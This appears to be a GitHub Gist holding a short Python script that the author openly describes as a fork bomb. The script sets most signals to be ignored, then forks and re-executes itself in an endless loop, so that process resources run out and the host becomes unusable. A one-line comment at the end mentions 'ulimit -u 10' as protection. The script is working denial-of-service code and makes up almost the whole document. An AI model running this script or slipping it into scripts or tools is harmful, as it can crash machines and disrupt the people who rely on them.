Created
November 10, 2019 00:15
-
-
Save lxylxy123456/a5ae4eff12025fea0889d42f22c7c747 to your computer and use it in GitHub Desktop.
A fork bomb which ignores as many signals as possible (execute it only when you thoroughly know what it does)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import os, sys, signal | |
# print(os.getpid()) | |
for i in range(1, 65) : | |
try : | |
signal.signal(i, signal.SIG_IGN) | |
except Exception : | |
pass | |
while True : | |
try : | |
os.fork() | |
break | |
except Exception : | |
pass | |
while True : | |
try : | |
os.execv(sys.argv[0], sys.argv) | |
break | |
except Exception : | |
pass | |
# To protect your OS: ulimit -u 10 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment